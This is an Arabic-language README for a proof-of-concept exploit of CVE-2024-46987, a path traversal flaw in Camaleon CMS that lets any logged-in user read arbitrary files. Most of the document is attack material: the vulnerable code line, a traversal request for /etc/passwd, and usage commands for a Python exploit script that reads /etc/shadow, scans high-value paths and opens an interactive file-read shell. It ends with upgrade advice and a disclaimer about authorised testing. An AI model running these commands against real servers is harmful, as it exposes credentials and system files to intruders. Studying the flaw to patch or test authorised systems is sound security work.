
استغلال PoC لـ CVE-2024-46987 — اجتياز مسار تعسفي (قراءة ملف) في Camaleon CMS
| الحقل | التفاصيل |
|---|
| CVE | CVE-2024-46987 |
| المنتج | Camaleon CMS |
| الإصدارات | >= 2.8.0, < 2.8.2 (تم التأكيد أيضًا على 2.9.0) |
| النوع | تجاوز المسار / قراءة ملفات عشوائية (CWE-22) |
| المصادقة | مطلوب (أي حساب بصلاحيات منخفضة) |
| التقييم | 7.7 عالي — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| تم الإصلاح في | 2.8.2 |
MediaController#download_private_file يمرر params[:file] غير منقى إلى fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
لا يتم تطبيق أي تطبيع للمسار قبل استخدام القيمة مع send_file، مما يسمح لمهاجم مصرح له بالخروج من دليل private/ باستخدام تسلسلات ../ وقراءة ملفات عشوائية يمكن لعملية Rails الوصول إليها.
النقطة الضعيفة:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requestspip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| العلامة | الوصف |
|---|---|
-u | عنوان URL الهدف الأساسي |
-U / -P | اسم المستخدم وكلمة المرور لنظام CMS |
--cookie | سلسلة ملفات تعريف الارتباط الخام (بديل لبيانات الاعتماد) |
-f | مسار الملف المراد قراءته (الافتراضي: /etc/passwd) |
-d | عمق التجاوز — عدد مرات إضافة ../ (الافتراضي: 10) |
--interesting | المرور عبر قائمة مدمجة من المسارات عالية القيمة |
--interactive | واجهة تفاعلية لقراءة الملفات |
--no-verify | تعطيل التحقق من شهادة TLS |
--debug | إخراج مفصل لتشخيص فشل المصادقة |
/procالملفات الموجودة تحت /proc/self/ (مثل environ، cmdline) تعيد HTTP 200 ولكن محتوى فارغ. هذا متوقع — حيث يبلغ النواة عن حجمها كـ 0، لذا فإن send_file في Rails لا يدفق شيئًا. استخدم الملفات العادية المسطحة بدلاً من ذلك.
قم بترقية Camaleon CMS إلى الإصدار 2.8.2 أو أحدث. يضيف التصحيح تطبيعًا مناسبًا للمسار ويضمن بقاء المسار المحلول ضمن الدليل المقصود قبل استدعاء send_file.
بدلاً من ذلك:
...تم نشر هذا الإثبات المبدئي للأغراض التعليمية ولمساعدة محترفي الأمن في فهم وإعادة إنتاج الثغرة في بيئات الاختبار المصرح بها. المؤلف غير مسؤول عن أي سوء استخدام. احصل دائمًا على إذن كتابي صريح قبل اختبار الأنظمة التي لا تملكها.